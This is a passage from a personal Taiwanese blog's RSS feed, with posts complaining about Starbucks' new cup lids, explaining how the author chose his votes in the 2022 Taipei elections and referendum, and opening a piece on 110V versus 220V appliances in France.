<li>再來就是針對最近台北市開始禁用塑膠杯，所以塑膠杯全面改成新的紙杯。</li>
</ul>
<p>目前的啜飲杯蓋確實有比之前的平口杯蓋蓋的緊一點，值得稱讚。但我本人沒有點過星巴克的外送，也沒有騎機車的習慣，是不是真的有防潑灑待版友補充。</p>
<p>紙吸管的部分我就不說了，就算不是星巴克，目前也還沒看到合格的。</p>
<p>接下來來盤點一下現行啜飲杯蓋缺點：</p>
<h2 id="杯蓋開口" class="relative group">杯蓋開口 </h2><p>上面凸出來的點很小，所以非常難撥開。而且如果拿到飲料之後有晃動，基本上那個開口附近一定是沾有飲料的，不管我怎麼試，都很難在不弄髒手的情況下把開口撥開。然後如果你飲料喝到一半要帶著走，想說把開口暫時關回去，嘿嘿恭喜，接下來你再也挑不回來，除非你把整個杯蓋拿起來。</p>
<h2 id="飲料殘留" class="relative group">飲料殘留 </h2><p>因為上面飲用的開口有一個弧形突起，所以喝到最後一口的時候，飲料就會流到那個凹槽裡，除非把杯蓋打開，不然永遠喝不到。下次去星巴克不妨去回收台觀察一下，大部分用啜飲杯蓋的空飲料杯裡，幾乎全部都會不約而同的殘留一口。</p>
<h2 id="打開杯蓋" class="relative group">打開杯蓋 </h2><p>也很困難。但考量到他本來就故意設計成不容易在外力衝擊的情況下打開，姑且不計較。在你好不容易把它打開之後，會發現杯子和杯蓋口周圍都會充滿一整圈殘留的飲料，如果不馬上吸乾淨，待會桌子就會搞的一團糟。</p>
<h2 id="紙杯" class="relative group">紙杯 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/starbucks-paper-cup/cuplid.jpg"
      class="mx-auto my-0 rounded-md"
      alt="新紙杯 &#43; 杯蓋"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">新紙杯 + 杯蓋</figcaption>
</figure>
</p>
<p>紙杯跟塑膠杯有一個差異，就是紙杯會有一條直的接縫線，位置剛好就落在女神 logo 的正對面。換句話說，店員在做飲料時會把杯蓋蓋在讓 logo 朝外的方向，所以接縫處就會剛好落在杯口附近。但因為紙杯厚度的關係，杯蓋在這個接縫處會產生一個縫隙，一不注意飲料就會在飲用的時候滴出來灑到衣服上。</p>
<h2 id="結論" class="relative group">結論 </h2><p>坦白說，其他速食店、手搖飲料店飲料杯和杯蓋的問題也沒有比較少。但為什麼我選擇抱怨星巴克？因為台灣的星巴克定價明顯比其他國家高了非常多，但如果價格這麼昂貴的飲料，卻不能把飲用體驗這麼基本的事情做好，收這麼多錢，似乎說不過去吧。</p>
<p>以下開放版友補充自己的經驗</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">starbucks-paper-cup</guid><pubDate>Thu, 29 Dec 2022 16:28:05 +0800</pubDate></item><item><title>2022 九合一選舉心得</title><link>https://blog.tomy.me/zh-tw/posts/2022-election/</link><description>雖然今年挺無聊的 QQ</description><content:encoded><![CDATA[<div class="flex rounded-md bg-primary-100 px-4 py-3 dark:bg-primary-900">
  <span class="pe-3 text-primary-400">
    <span class="icon relative inline-block px-1 align-text-bottom"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"/></svg>
</span>
  </span>
  <span class="dark:text-neutral-300"><strong>Warning!</strong> 本文章涉及我個人的政治觀點，可能既不客觀又不合理，如果你難以忽略我可能跟你保持不一樣的想法，不推薦繼續閱讀</span>
</div>

<p>雖然是不至於到忘記自己投給誰，但發現如果不寫一下推導的過程，還是有可能忘記自己是怎麼決定要投給誰的。</p>
<p>今年做的功課：</p>
<ul>
<li><a href="https://www.thenewslens.com/election/2022/game" target="_blank" rel="noreferrer">給你珊時萬，你想投給誰<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li>馬力歐陪你喝一杯
<ul>
<li><a href="https://podcasts.apple.com/tw/podcast/id1192212072?i=1000584215163" target="_blank" rel="noreferrer">蔣萬安<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li><a href="https://podcasts.apple.com/tw/podcast/id1192212072?i=1000583404891" target="_blank" rel="noreferrer">黃珊珊<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li><a href="https://podcasts.apple.com/tw/podcast/id1192212072?i=1000585060507" target="_blank" rel="noreferrer">陳時中<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
</ul>
</li>
<li>選舉公報</li>
<li><a href="https://www.youtube.com/watch?v=961mDh6SvMI" target="_blank" rel="noreferrer">呱吉的 2022 地方選舉投票指南<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
</ul>
<h2 id="台北市第-6-選區市議員-大安文山" class="relative group">台北市第 6 選區市議員 (大安、文山) </h2><p><a href="https://web.archive.org/web/20221121232419/https://eebulletin.cec.gov.tw/111/02%E8%87%BA%E5%8C%97%E5%B8%82/02%E5%B8%82%E8%AD%B0%E5%93%A1/%E8%87%BA%E5%8C%97%E5%B8%82%E7%AC%AC06%E9%81%B8%E8%88%89%E5%8D%80.pdf" target="_blank" rel="noreferrer">選舉公報<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>27 選 13，直覺上應該挺好上的，但其中 10 個都是現任議員，所以新人應該是沒什麼太大的機會。扣掉幾個經過辛亥加油站附近常看到國民黨議員的名字，剩下有聽過的就只有苗博雅、林穎孟、簡舒培。簡舒培其實就只是聽過名字，除了大巨蛋這個關鍵字會跟他連起來 (但說實話這個議題我沒興趣、加上我估計蹭話題的成分多一點)，其他他做了什麼是真的沒印象。因為呱吉以前的直播，他蠻常會提到跟苗博雅、林穎孟在不同議題上合作，所以自然這兩個就是我比較熟悉的，沒其他意外應該就是兩個挑一個。</p>
<p>關於苗博雅，呱吉在他的投票指南裡說，苗博雅是他心目中難得一見的政治奇才，特別是對各種事務和議題的拿捏得當，問政也是句句直指核心。再加上看新聞報導也都是正面的居多，估計應該是穩穩的，怎麼選怎麼上。</p>
<p>林穎孟的部分就比較尷尬一點。從議員職權內的工作來說，其實他算是做了蠻多事情，也做的不差。但他在 2018 年的選舉其實是低空飛過，倒數第二名，外加 2020 年跟他的助理爆發勞資糾紛、陷入詐領助理費的風波，用膝蓋想就知道他今年估計是要下去了。</p>
<p>所以我的選項歸納出來就是，要嘛穩穩的投苗博雅，要嘛就是找到我可以合理化投林穎孟的選擇，最後我的推論大概是這樣</p>
<ul>
<li>勞資糾紛的問題，我從呱吉直播、和其他新聞畫面裡聽到的感覺是，他也許不是一個好的 team manager，而且在處理關於人的事情還太年輕，並沒有太多經驗，又感情用事，但這並不能用來否認他在問政方面上的能力，就當作不經一事不長一智吧。</li>
<li>助理費就有點頭痛，林穎孟其實不是這屆選舉唯一陷入這個風波的人，他的炸彈早在 2020 年就種下去，也拆完了 (最後不起訴)。真正的主戰場其實是在新竹市市長候選人高虹安身上，他充其量只是被餘波掃到。最後我自己解套的說法就是基於兩個點
<ul>
<li>檢方不起訴 啊司法就說沒有了 硬要說有要幹嘛</li>
<li>呱吉說林穎孟的狀況跟高虹安的狀況有很大的不同，所以並不代表高虹安的火燒的很大就代表林穎孟也要一起陪葬 (只是他說之後有空再解釋為什麼不一樣，如果我投了他也上了但解釋不過去，我可能就該去清一下業障)</li>
</ul>
</li>
</ul>
<p>最後就是，反正苗博雅會穩穩的進去，對我來說，這兩個人在議會裡雖然可能不會正面合作，但年輕進步派的聲音多一個是一個。</p>
<p>結論：投了林穎孟，然後他還是下去了，門檻一萬票只拿了四千票，慘哦</p>
<h2 id="台北市市長" class="relative group">台北市市長 </h2><p><a href="https://web.archive.org/web/20221123023210/https://bulletin.cec.gov.tw/01%E9%81%B8%E8%88%89%E5%85%AC%E5%A0%B1/03%E7%9B%B4%E8%BD%84%E5%B8%82%E9%95%B7/111%E5%B9%B4/%E8%87%BA%E5%8C%97%E5%B8%82%E5%B8%82%E9%95%B7.pdf" target="_blank" rel="noreferrer">選舉公報<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>最早應該是在去年台灣防疫成績還不錯的時候，就有看到某一些媒體開始醞釀民進黨可能會派陳時中出來選。別的候選人不說，其實我對這個選項的第一個感覺其實是不捨。我覺得作為一個防疫工作的指揮官，陳時中不是沒有錯誤，但我覺得在多重宇宙的不同劇本裡，抽中陳時中的這一本台灣真的是燒了好香。對我來說，他就是一個老實人，紮實的在做每件事，但我覺得把他推向台北市市長這種一線戰場，也不是說他不能勝任，而是如果在未來他的某個不堪的過去被挖出來，或是在某些決策上出現失誤，會導致他這幾年為台灣的努力瞬間化為泡影，他的形象和人格也勢必會大受打擊。所以對我來說，這一票投給陳時中與其說是支持他，我覺得更像是把他推入火坑。</p>
<p>後來開始忙了好一段時間，就都沒什麼關注到選舉相關的新聞了。真的到比較接近的時候是玩了「給你珊時萬」的政見配對遊戲</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/housing.png"
      class="mx-auto my-0 rounded-md"
      alt="居住權"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">居住權：說實在我不覺得現階段任何措施短時間內會對整個房市有多大的衝擊，但讓台北市民年輕化的政策總是吸引我一點</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/urbanism.png"
      class="mx-auto my-0 rounded-md"
      alt="都市更新"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">都市更新：增強公權力和降低同意比例在我眼裡都是看似危險，可行性又偏低的選項，那就只好選剩下的囉</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/raising.png"
      class="mx-auto my-0 rounded-md"
      alt="養小孩"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">養小孩：錢如果能解決問題，那問題早就不是問題了。但確實是蠻常看到新聞報導公共幼兒園很難抽的新聞，所以選這個選項的無奈感沒有上面那題來的強烈</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/transportation.png"
      class="mx-auto my-0 rounded-md"
      alt="交通"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">交通：都還蠻有創意的，雖然我選了心中覺得最有創意的那個，但能不能付諸實現可能會是一個問題</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/long-term-care.png"
      class="mx-auto my-0 rounded-md"
      alt="長照"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">長照：真的拜託不要再把老人推進照護機構或是讓他們整天躺著了：）</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/sports.png"
      class="mx-auto my-0 rounded-md"
      alt="體育"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">體育：第二運動中心看起來可行性偏低，兒童體適能館&hellip;有點看不懂想幹嘛，App 看起來有點創意，但目的性可能略有不足</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/education.png"
      class="mx-auto my-0 rounded-md"
      alt="教育"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">教育：不要再發券了，師資足額聘用可能是一個可以討論的議題，但我覺得可能沒有我想的容易。學校的營養午餐應該都是有符合營養標準的，這個解決方案應該是沒有戳到痛點。作為剛畢業的學生，學校心理師不足確實是一個大眾普遍沒有太多意識但其實蠻嚴重的問題</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/labor.png"
      class="mx-auto my-0 rounded-md"
      alt="勞工"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">勞工：外送平台的問題多，但我不太認同這個解法。勞工政策諮詢會&hellip;應該是沒什麼幫助。雖然我不太喜歡花錢解決問題，但對某些社會新鮮人來說，這筆失業補助確實有可能會是蠻重要的一條救命索</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/startups.png"
      class="mx-auto my-0 rounded-md"
      alt="新創"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">新創：護照提供的都是硬體資源，說實在的新創不缺。資金的話，陳時中的提案看起來空泛一點，黃珊珊的稍微有建設性一點</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/bonus.png"
      class="mx-auto my-0 rounded-md"
      alt="加分題"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">加分題：必須說免治馬桶很有創意 XDDDDD 但我不確定我們真的需要這個。台北市中心用 4580 坪的空間來蓋殯儀館在 2022 年看起來的確是荒謬了點。SXSW 的話嘛，我板凳已經置好了，等著看</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/results.png"
      class="mx-auto my-0 rounded-md"
      alt="給你珊時萬：結論"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">結論：蠻意外我的政見竟然是跟黃珊珊比較吻合，畢竟其實我真的是跟他一點都不熟</figcaption>
</figure>
</p>
<p>我其實以前就有想過這個作法，就是有沒有可能選民投票只投政見，然後就直接讓政見跟大家票選吻合度最高的人當選，但算了改天有空再來寫這個。</p>
<p>然後我花了一個晚上的時間一邊整理雜事一邊把三個候選人上「馬力歐陪你喝一杯」的 Podcast 聽完。其實我對他們在節目上講了哪些議題不是真的那麼有興趣，我聽的目的其實是想感覺一下，我有沒有辦法看 (其實是聽) 穿這個人。從這個角度來說，陳時中跟黃珊珊其實沒有太大的區別，這兩個人就是老實人，把每一件小事都安的妥妥的，但其他的花招自然就沒什麼好期待的。蔣萬安我就看不太透，他有感覺到他很積極的在嘗試把節目的 rundown 導向他想講的地方，再加上某些問題回答的太過完美，甚至抑揚頓挫都拿捏的非常好，充分展現他口條俐落的一面，但這讓我難以讀出他形成這些想法的動機。他的政策大部分都蠻有創意的，至少在我有關注政治以來，很少有看過這麼有意思的，但要我相信國民黨的幕僚團隊有辦法真的把這些東西付諸實現，我就沒什麼信心了。</p>
<p>原本這裡想寫一段民進黨在這次選舉的垃圾決策、奧步、網軍、黑金、黑道勾結，但反正新聞都很多了，就不浪費我的時間了。我只補充一點新聞比較少講到的，我覺得民進黨作為一個立場比較偏進步思想的政黨，卻沒有好好的提攜後進的年輕人，導致選舉需要搬出防疫指揮官來選，真的是令我滿失望的。</p>
<p>好啦，寫到這裡答案應該很明顯了：蔣萬安對我來說認同感不夠強烈；陳時中我本來就不忍投；黃珊珊雖然不熟，但至少政見我是認同的，執行力夠，我看不出來投他會有什麼太大的問題</p>
<h2 id="18-歲公民權" class="relative group">18 歲公民權 </h2><p>這題應該沒什麼好想的，上一次總統大選的時候我 19.9 歲，所以錯過了一波大的。我覺得會有下修 18 歲這個問題，根本就是憲法一開始就寫壞了。</p>
<p>我原本以為這應該會是一個，輕鬆<del>點亮</del>通過的公投，直到我看到這個</p>
<!-- instagram ClWKSmzPE9o -->
<p><a href="https://www.instagram.com/p/ClWKSmzPE9o/" target="_blank" rel="noreferrer">







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-election/plainlaw-18.jpg"
      class="mx-auto my-0 rounded-md"
      alt="修憲很難嗎 by 法律白話文"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">修憲很難嗎 by 法律白話文</figcaption>
</figure>
<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>我才突然意識到，這門檻真的是高的雞巴，綜觀台灣的投票史，根本就沒投出過這麼高的票數，這樣要投過，也太難了吧。</p>
<p>另外值得一提的是，某次聽到一集<a href="https://podcasts.apple.com/tw/podcast/id1605731163?i=1000586930332" target="_blank" rel="noreferrer">博恩的 Podcast<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> (在大約 30:20 的地方開始) 就有提了一些反方論點，很多還真的是我從來沒有想過。相較於一些電視新聞上某些保守派的老人言論，這些確實是比較少被提出來討論、而且值得想一下的問題。</p>
<h2 id="misc" class="relative group">Misc </h2><p>今年觀察到的一些其他選舉的狀況，筆記一下，幾年後也許可以當笑話看</p>
<ul>
<li>今年選舉真的有夠無聊，沒什麼迷因就算了，吵的議題也很無聊，什麼<a href="https://zh.wikipedia.org/wiki/%E6%9E%97%E6%99%BA%E5%A0%85%E8%AB%96%E6%96%87%E6%8A%84%E8%A5%B2%E6%A1%88" target="_blank" rel="noreferrer">論文抄襲<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>、助理費詐領、<a href="https://zh.wikipedia.org/wiki/%E8%BE%B2%E5%A7%94%E6%9C%83%E8%BE%B2%E6%A5%AD%E9%9B%BB%E5%AD%90%E5%8C%96%E7%99%BC%E5%B1%95%E7%AD%96%E7%95%A5%E5%88%86%E6%9E%90%E8%88%87%E8%A6%8F%E5%8A%83%E7%A0%94%E7%A9%B6%E5%A0%B1%E5%91%8A%E7%96%91%E7%BE%A9%E6%A1%88" target="_blank" rel="noreferrer">研究案<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，我還以為政治人物作為應該都很清楚娛樂產業是怎麼運作的，唉</li>
<li>我以前把苗栗國當笑話在看，但看完<a href="https://www.thenewslens.com/article/176949" target="_blank" rel="noreferrer">這篇新聞<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>才發現原來這不是笑話。議長鍾東錦比國民黨還大，脫黨參選還可以穩穩的車過去，靠的都是多年的綁樁和「炒米粉場」。</li>
<li><a href="https://www.thenewslens.com/article/177196" target="_blank" rel="noreferrer">顏色不分藍綠支持性專區顏色田慎節，當選嘉義市議員<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li><a href="https://www.thenewslens.com/article/176331" target="_blank" rel="noreferrer">時代力量<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>的力量正被台灣民眾黨快速侵蝕，台灣究竟會邁向三黨制還是多黨制呢</li>
<li>民進黨的地方選舉真的是選的有夠爛，議會最大黨幾乎全部都是藍的，從來沒綠過
<ul>
<li>雖然沒有證據，但我私心認為長期透過「抗中保台」來提款民意，已經開始成為票房毒藥，再加上網軍過度氾濫，黨內派系刀光劍影，就算我淺綠，這麼沒有誠意的選項，我到底要怎麼投下去</li>
</ul>
</li>
<li>當年蔣萬安和吳怡農兩個是平起平坐一起選立委的，啊怎麼轉眼間一個已經選到市長了，另外一個還在撿剩下的</li>
</ul>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2022-election</guid><pubDate>Sun, 27 Nov 2022 00:50:19 +0800</pubDate></item><item><title>所以該是 110V 還是 220V 呢？</title><link>https://blog.tomy.me/zh-tw/posts/110v-or-220v/</link><description>當一個值得好好考慮的問題大到影響太多層面時，似乎就不值得被解決了。</description><content:encoded><![CDATA[<p>今年初剛在法國落地的時候，才剛入住租屋處的我在洗完澡的時候就馬上遇到了第一個課題：沒有吹風機可以吹頭髮。</p>
<p>首先，從台灣自備一個吹風機來本身就有點荒謬，再來，吹風機是高瓦數的電器，所以一般不會像其他小型電器 (比方說手機充電器)，製造的時候就做成 100-240V 通用的，所以我從台灣自己帶 110V 的吹風機來 220V 的法國也沒用。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/110v-or-220v/hair-dryer.png"
      class="mx-auto my-0 rounded-md"
      alt="這麼高級的吹風機你跟我說只要 €15 ?????"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">這麼高級的吹風機你跟我說只要 €15 ?????</figcaption>
</figure>
